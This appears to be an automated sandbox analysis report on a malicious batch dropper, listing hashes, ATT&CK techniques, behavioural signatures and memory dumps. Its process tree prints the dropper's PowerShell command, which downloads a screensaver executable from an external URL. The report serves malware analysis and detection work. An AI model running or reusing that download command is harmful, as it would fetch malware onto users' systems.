6bce98ce8751d6f87e97578a05e606a0b699f24c1a69b96cd28ef88d4984fe71

Analysis

max time kernel
121s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
04/09/2024, 14:27

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General

Target

Dropper.bat
Size

470B
MD5

8073ff57f855d5cd51346f011933d9fb
SHA1

d24fc282fb660945b87e1c41860a031f6e7ec9f6
SHA256

6bce98ce8751d6f87e97578a05e606a0b699f24c1a69b96cd28ef88d4984fe71
SHA512

9f2e04c4f8bdeab0e2075b5bc42edbe6a9ee4221fbf1ebbacd44238576e77f7b2d5f5d3ac90d433b8b6f5493fef51747405e14a5aa2cf59a4663b2cf385b4610

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://master-repogen.vercel.app/file/server.scr

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2368	powershell.exe
6	2368	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2368	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2368	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2368	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2316 wrote to memory of 2368	2316	cmd.exe	32
PID 2316 wrote to memory of 2368	2316	cmd.exe	32
PID 2316 wrote to memory of 2368	2316	cmd.exe	32

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Dropper.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2316
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -Command "(New-Object System.Net.WebClient).DownloadFile('https://master-repogen.vercel.app/file/server.scr', 'C:\Users\Admin\Downloads\server.scr')"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2368

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2368-4-0x000007FEF5BDE000-0x000007FEF5BDF000-memory.dmp

Filesize
4KB

Download
memory/2368-5-0x000000001B690000-0x000000001B972000-memory.dmp

Filesize
2.9MB

Download
memory/2368-6-0x0000000001DA0000-0x0000000001DA8000-memory.dmp

Filesize
32KB

Download
memory/2368-7-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/2368-10-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/2368-9-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/2368-8-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/2368-11-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download
memory/2368-12-0x000007FEF5920000-0x000007FEF62BD000-memory.dmp

Filesize
9.6MB

Download